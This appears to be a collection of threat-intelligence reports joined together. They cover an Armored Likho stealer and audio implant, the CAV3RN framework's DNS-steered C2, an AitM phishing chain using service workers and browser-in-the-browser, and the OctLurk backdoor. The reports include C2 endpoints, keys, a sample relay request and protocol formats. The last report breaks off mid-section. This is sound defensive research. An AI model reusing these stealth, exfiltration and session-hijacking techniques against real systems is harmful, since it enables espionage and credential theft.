Armored Likho’s malicious activity has been documented several times before: in November 2024, and in February and July 2026. The current campaign shows significant overlap with the November and February campaigns, which used malicious droppers disguised as documents and applications related to Starlink activation or fundraising efforts as the initial infection vector. This campaign also uses fundraising as its lure. At the same time, our research uncovered a number of new tools that point to the attackers expanding their capabilities.
Initial infection
The infection chain starts with an app that mimics a donation service. As of this writing, the app distribution method remains unknown. During our research, however, we obtained several samples posing as apps from different Russian foundations.
In reality, the app is a dropper. Its developers wrote it in Rust on top of the popular Tauri framework, and it has a graphical interface designed to deceive the user. After launch, it displays a login form that asks for a password, presumably one the attackers supplied.
The login form
After the user enters a valid password, they see a catalog of donatable items. The app pulls item and category information from orderapiserver[.]info through the public/categories and public/products endpoints. A clickable catalog makes the app look legitimate. While the user browses the items, the dropper quietly decrypts and launches the payload for the next stage in the background.
Our analysis shows that the mechanism for decrypting the payload and launching subsequent stages hasn’t changed since the February campaign. However, we found a new cyber-espionage toolkit – the Still Toolkit – made up of two components: Still Sync and Still Audio.
Still Sync
Still Sync is a stealer written in Rust that steals Telegram session data. However, its capabilities don’t stop there. With this stolen data, Sync can log in to the victim’s account and pull messages and media files through the Telegram API.
Architecturally, Sync is an asynchronous application based on the Tokio library. It talks to the server over gRPC and serializes messages with FlatBuffers. It supports both HTTP and HTTPS as transport protocols; the URL of the command-and-control server determines which one it uses.
How it works
When Sync launches, the attackers set several environment variables. Before starting any malicious activity, the implant pulls configuration parameters from these:
STILL_SYNC_ADDR: the address of the command-and-control server. By default, this is https://tg4service[.]com:443.
STILL_SEND_PATH: the path to the tdata
STILL_TELEGRAM_PASSCODE: the password for decrypting the tdata folder, if Telegram data encryption is enabled on the victim’s device.
Sync also supports several command-line arguments:
--console: runs as a console application. If this parameter is absent, the implant creates a TReload service to keep running in the background.
--version: prints version information and exits.
--firefly: launches a trace thread that monitors the program’s operation. It writes error messages to a hidden file, bin, located in the same folder as the main executable.
--db: turns on debug mode with detailed logging.
Example Still Sync logs
Once it launches, the malware begins registering the device with the C2 server. To do this, Sync collects the following information about the victim’s system:
Motherboard serial number
CPU ID
System UUID
BIOS serial number
Computer domain name
The malware combines the collected data into a single string with a colon as the separator. It then hashes that string with SHA-256 and stores the resulting hash under the key sysmarker. Worth noting: other Armored Likho tools, AquilaRAT included, use this same hashing algorithm.
Sync then serializes a package containing all the collected information and the agent version, and sends it in a POST request to /still.rpc.Sync/RegisterMachine. The response contains a machine_id value, which Sync uses to identify itself in subsequent requests.
Once registration succeeds, Sync sends a POST request with the machine_id parameter to /still.rpc.Sync/GetMachineSettings. The server responds with the following settings:
enabled: triggers malicious activity on the infected device.
scan_portable: turns on extended scanning when searching for the tdata We’ll cover this feature in more detail below.
fetch_telegram: if this parameter is on, Sync attempts to log in to Telegram and extract data. We’ll cover this feature in more detail below.
download_channels: if this parameter is off, Sync skips channel dialogs when exfiltrating Telegram data.
These parameters have no default values, so Sync doesn’t perform any malicious actions until the registration and settings-retrieval processes both complete successfully.
Telegram data collection
Before stealing a Telegram session, Sync searches for the tdata folder, unless the STILL_SEND_PATH variable is already set. The list of search paths includes both standard and nonstandard directories, if the scan_portable option is turned on:
C:\Users\<username>\AppData\Roaming\Telegram Desktop\: the standard Telegram Desktop installation directory.
C:\Users\<username>\AppData\Local\Packages\<package_folder>\LocalCache\Roaming\: the installation directory for the Microsoft Store version. Sync identifies the package folder by a name that contains the string TelegramMessenge.
C:\: used for the extended search (if the scan_portable option is on).
Sync then sends a POST request with a list of files from the tdata folder to the /still.rpc.Sync/CheckFiles endpoint. The server responds with the following values:
snapshot_id: an identifier the server assigns to the current data snapshot.
present: a list of file paths that are already present on the server.
This lets the C2 server avoid re-receiving files it already has. In addition, if Sync can’t access files on disk through standard methods, it falls back on three mechanisms that abuse the SeBackupPrivilege privilege:
Opening files with the CreateFileW function using the FILE_FLAG_BACKUP_SEMANTICS parameter
Creating a backup copy through the Shadow Copy service and reading files from there
If the previous methods all fail, attempting to copy the file using the Robocopy utility in backup mode
Beyond stealing Telegram session data, Sync can carry out full-scale collection of user information from the messaging app. When the fetch_telegram option is on, it launches a separate thread that authenticates to the chat app using the previously obtained tdata. Once authentication succeeds, Sync gains access to the account data and sends the following collected information to the server:
User details, such as username, phone number, first and last name
Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
Dialogs from private chats, groups, and channels (if the download_channels option is on)
Media files under 250MB: photos, documents, stickers, and contacts
Still Audio
Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.
On launch, Still Audio performs a sequence of actions:
It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
While running in the background, it creates a file, logfile.log, to write logs to.
Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.
Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json
Encrypted C2 address inside the GitHub repository
The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.
Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:
/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.
The server responds with settings for the implant:
machine_id: a unique identifier for the current device.
vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
max_buffer_size: the maximum buffer size for recorded audio data.
active_device: the name of the input device selected for recording, from the list of available devices.
The eavesdropping process
Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.
The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.
Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:
The malicious module in the list of apps using the microphone
Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.
Infrastructure
This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:
They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.
Domain
IP address
Registration date
ASN
orderapiserver[.]info
187.127.153[.]38
April 18, 2026
47583
tg4service[.]com
159.198.37[.]74
October 4, 2025
22612
srwinservice[.]com
213.252.244[.]123
March 19, 2026
61272
screenserv[.]com
23.26.237[.]250
February 13, 2026
149440
windowserv[.]net
23.27.24[.]30
February 10, 2026
149440
managementapiservice[.]com
188.212.124[.]178
May 1, 2026
202448
service8date[.]com
145.223.69[.]143
January 13, 2026
215311
updateservs[.]com
145.223.68[.]66
December 23, 2025
215311
Victims
In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.
Attribution
This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:
Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.
Takeaways
The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.
One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.
The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.
Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.
Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.
We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.
Multi-transport C2 communication module
The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:
NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.
The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.
C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.
The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.
The module supports five internal commands:
Command
Functionality
s_version
Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config
Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog
Enables diagnostic logging at the Debug level.
s_deLog
Disables diagnostic logging and sets the logging level to Fatal.
s_write
Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.
The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.
{
"to": "<generated seven-character ID>", // Client ID
"ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
"ho": "studiotikva.com", // DNS domain
"gi": "<redacted>", // Apps Script deployment ID
"de": false, // Enable Debug logging at startup
"mi": 120000, // Poll-delay reset after a non-empty response
"ma": 18000000, // Progressive poll-delay cap
"ri": 30000, // Base DNS recovery/error delay, with positive jitter
"ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
"gu": "https://script.google.com/macros/s/{0}/exec",
"ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
"mcc": 50, // unknown
"mtc": 10 // unknown
}
The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.
Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:
The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.
The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:
Fourth octet
None (0)
GIDFailed (1)
GoogleFailed (2)
DirectFailed (3)
120 (0x78)
Google Apps Script
Direct HTTPS
Direct HTTPS
Google Apps Script
130 (0x82)
Direct HTTPS
Direct HTTPS
Direct HTTPS
Close the transaction (no channel)
140 (0x8C)
Exception
Exception
Exception
Exception
All other values
Google Apps Script
Google Apps Script
Google Apps Script
Google Apps Script
During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.
CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel
When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.
DNS-based deployment-ID freshness check
The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.
DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks
One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.
Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID
Google Apps Script channel
When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.
Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:
POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json
{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}
The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:
Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.
Direct HTTPS channel
When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.
However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:
GET request to the header-gated C2 endpoint and its encoded tasking response
Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.
Inter-component DLL broker
The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.
The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.
The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.
Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.
Command
Function
000
Lists loaded component names and versions
001
Lists every DLL path discovered by the scanner
002
Lists each loaded component’s path, name, and version
The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.
Infrastructure
Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.
The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.
The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.
Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.
Threat actors are increasingly exploiting legitimate cloud services to evade detection and streamline the deployment of their scam infrastructure. Cloud hosting services and decentralized networks have become primary platforms for hosting phishing pages and sites. Throughout 2025 and 2026, we have observed phishing operators steadily migrate toward platforms like Cloudflare Workers, Vercel, Netlify, GitHub Pages, and IPFS. This post analyzes the mechanics of a real-life adversary-in-the-middle (AitM) attack in a cloud environment and presents detailed statistics on the platforms and domains phishers abuse most frequently.
The cloud as a safe haven for phishers
Threat actors select platform-as-a-service (PaaS) offerings and distributed cloud environments to host phishing sites for much the same reasons legitimate software developers do:
Inherent trust and reputation. Phishing pages hosted on reputable platforms appear trustworthy, reducing suspicion among potential victims.
Most platforms offer generous free-tier developer plans. The onboarding process takes minutes and rarely requires Know Your Customer (KYC) identity verification. This enables a single operator to create hundreds of malicious accounts.
Evasion and anonymity. Attackers leverage native security features to obscure their true origin server IP address behind a CDN, which complicates detection for security vendors.
Additionally, these platforms allocate shared subdomains hosting millions of legitimate projects and websites. Security teams cannot simply block the parent domain or its subdomains without inflicting collateral damage on bona fide users – a limitation that malicious actors take advantage of. To counter this tactic, security vendors must advance content-based analysis methodologies.
Multi-stage AitM attack
Consider a modern AitM phishing campaign that leverages Cloudflare Workers, a widely adopted cloud platform. The attackers execute the operation through multiple HTML pages distributed across a compromised website and the cloud platform. Each page serves a specific function: harvesting target email addresses, initializing the reverse-proxy infrastructure, or spoofing the login form to capture multi-factor authentication (MFA) sessions.
Stage 1. Contact harvesting and network monitoring evasion
The attack typically begins with a phishing email that uses a plausible pretext – such as a request from a coworker to review documents – to entice the target into clicking a malicious link.
Upon clicking the link, the user is redirected to a fake CAPTCHA landing page hosted on a compromised legitimate website. This specific campaign used the https://t[REDACTED]e.com website, but any other variations are possible. In this scenario, the compromised page served as a disposable relay — vendor detection mechanisms typically block phishing links delivered directly via email much faster — to prevent the early discovery of the core phishing content hosted on Cloudflare.
If the user entered their email address and clicked Continue, the pseudo-CAPTCHA marked them as a human user and initiated a redirect. The primary objective of this stage is to harvest target email addresses, filter out bots, and route legitimate users to a subdomain of workers.dev. Such subdomains are generated automatically and free of charge by Cloudflare Workers. The victim’s email address was embedded in the URL hash (the part of the URL following the # character), allowing the page at [REDACTED].workers.dev to extract the email without issuing a request to the attacker’s server, thereby avoiding detection.
Stage 2. Initializing a transparent proxy
The user’s browser then loaded a [REDACTED].workers.dev page with #user@business.com at the end of the URL. At this point, the page presented the victim with a genuine CAPTCHA challenge. This step ensured that an actual user was interacting with the page rather than a security sandbox.
Another CAPTCHA, this time a legitimate one
Once the user successfully completed the challenge, a service worker was registered in their browser. This is a special JavaScript file capable of running in the background and intercepting all network requests generated by the current tab. As this type of script was designed as a core component of progressive web apps (PWAs) to optimize load times and support offline functionality, browsers treat service workers as standard site feature and execute them without prompting for user consent as long as the website uses an HTTPS connection.
The attackers leveraged the service worker to deploy Ultraviolet, a legitimate open-source web proxy library, to dynamically rewrite all links and forms on the page. This forced every outgoing request – including those for Microsoft login credentials – to route through the attackers’ server rather than directly to the legitimate services.
Immediately upon loading, the page extracted the victim’s email address from the URL hash and stored it in the browser’s sessionStorage property so it would not be overwritten when the CAPTCHA loaded. This step also allowed the script to pre-fill the username field in the form automatically. A pre-populated login field enhanced the page’s credibility and bolstered user trust. Once the CAPTCHA was passed, the malicious script constructed a redirect URL for the third stage, appending the email retrieved from sessionStorage back to the hash. By passing the email via the URL hash across three consecutive stages, the attackers successfully kept it hidden from network attack detection systems.
Registering a service worker to intercept traffic
Establishing a transparent proxy via an external library
Stage 3. Session hijacking and browser window spoofing
The final stage unfolded on a third page, combining adversary-in-the-middle (AitM) traffic interception with a browser-in-the-browser (BitB) UI spoofing technique. BitB attacks operate by rendering a block inside a legitimate webpage that visually mimics a native browser pop-up window.
In this case, the script hosted on the attacker’s page generated a pop-up visually identical to a native browser window, complete with window controls and a spoofed address bar showing a trusted Microsoft URL. Within this simulated window, an iframe loaded the authentic login interface, routed dynamically through the service worker reverse proxy created in Stage 2. When the victim entered their credentials and MFA code into the BitB window, the proxy script intercepted both the credentials and the session tokens. Combining BitB with AitM significantly increases the threat: BitB provides a convincing, trusted visual wrapper (displaying a legitimate URL and branding), while the hidden AitM proxy quietly handles traffic interception and session hijacking behind the scenes.
Upon successful login, the proxy instructs the interface to close the pop-up and redirect the victim to a generic system error page, such as SessionExpired. This minimizes suspicion: the victim assumes a technical glitch occurred and attempts to log in again, unaware that the attacker already has full access to the session.
Cloud platform phishing attack statistics
We analyzed phishing URLs hosted across popular cloud platforms – including Cloudflare, Netlify, and GitHub Pages – over a 12-month period spanning August 2025 to July 2026. The data below outlines trends in unique third-level domains exploited to deliver phishing content. In total, our security solutions blocked 224,984 unique third-level domains on cloud and decentralized services used in phishing attacks within that timeframe.
Based on this telemetry, we compiled a list of the TOP 10 cloud domains most frequently abused in phishing campaigns over the specified period.
Number of phishing links
Unsurprisingly, Cloudflare and Vercel emerged as the undisputed leaders: both offer free tiers, automated SSL certificate issuance, and global CDNs. GitHub Pages ranked third. The widespread legitimate use of the github.io domain complicates bulk blocking efforts, as security teams risk limiting access to non-malicious projects.
Decentralized networks also warrant close attention – we posted on this subject in 2023. The ipfs.io and dweb.link domains function as IPFS gateways. The principal risk associated with these platforms is content persistence: even if a specific gateway gets blocked, the phishing page remains accessible via alternative nodes across the network.
The visual website builders Wix and Webflow also ranked among the TOP 10 (eighth and ninth, respectively). These platforms allow low-skilled individuals to build phishing pages rapidly without advanced coding expertise, which significantly lowers the barrier to entry for less capable malicious actors.
Domain
Number of phishing links
Platform
1
pages.dev
24.9%
Cloudflare Pages
2
vercel.app
13.8%
Vercel
3
github.io
13.7%
GitHub Pages
4
netlify.app
10.0%
Netlify
5
dweb.link
7.8%
IPFS gateway
6
ipfs.io
5.3%
IPFS (InterPlanetary File System)
7
workers.dev
2.5%
Cloudflare Workers
8
wixstudio.com
1.9%
Wix Studio
9
webflow.io
1.0%
Webflow
10
azurewebsites.net
1.0%
Microsoft Azure
Other
17.9%
In total, we identified and neutralized over 390,000 phishing pages hosted across legitimate cloud platforms and decentralized networks (IPFS) over the past 12 months. This data confirms that threat actors actively exploit the implicit trust associated with legitimate PaaS providers (such as Cloudflare Workers, Vercel, Netlify, and GitHub Pages) and IPFS gateways. High domain reputation, generous free tiers, and built-in evasion capabilities enable phishers to deploy multi-stage AitM attacks designed to hijack MFA sessions.
Recommendations
Traditional security controls, such as relying on HTTPS lock icons or reputation-based domain denylists, are inadequate against these attacks. The cloud provider’s apex domain maintains a positive reputation score, while attackers generate malicious subdomains programmatically and at scale.
Effective defense against these threats calls for a layered security posture:
Exercise caution with unexpected requests, even if they are served from reputable domains or secured with valid SSL/TLS certificates.
Treat any CAPTCHA interface requiring personal data input as a possible scam. Legitimate CAPTCHA challenges rarely request personally identifiable information, such as email addresses.
Inspect the URL in the address bar at the very top of the browser window. In BitB attacks, threat actors can render a fake browser pop-up displaying any target URL, even a legitimate one. However, the true address bar – located at the top of the main browser window alongside native navigation controls (Back, Forward, Refresh) – will continue to display the actual attacker-controlled domain.
Avoid entering credentials in pop-ups you did not expect to see. If a login or MFA form appears without your explicit action, close the tab immediately. Navigate to the intended service manually by entering its address directly into the browser.
Additional protection can be provided by Kaspersky Secure Mail Gateway for enterprise environments and Kaspersky Premium for personal correspondence. These robust email security solutions neutralize phishing links at the delivery stage before they reach the inbox.
We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.
The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.
Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.
OctLurk
OctLurk Deployment
The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.
The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.
LurkPoxy Deployment
In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.
After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.
We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.
OctLurk loader
The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.
The double‑XOR decryption uses two distinct multibyte keys:
Key 1: hard‑coded in the loader
Key 2: derived from the serial number of the C: drive
The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.
OctLurk backdoor
The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:
OS information as RTL_OSVERSIONINFOW structure
Computer name
User name
Local host name
Local IP address in format %u.%u.%u.%u, with local hostname-to-IP-address translation
Current local date and time as SYSTEMTIME struct
To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:
The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.
0x00: randomly picked 10 chars from the string “zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_”
0x0A: \x00\x00
0x0C: next_packet_size
The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.
0x00: XOR key; size 83 bytes
0x53: compressed data size
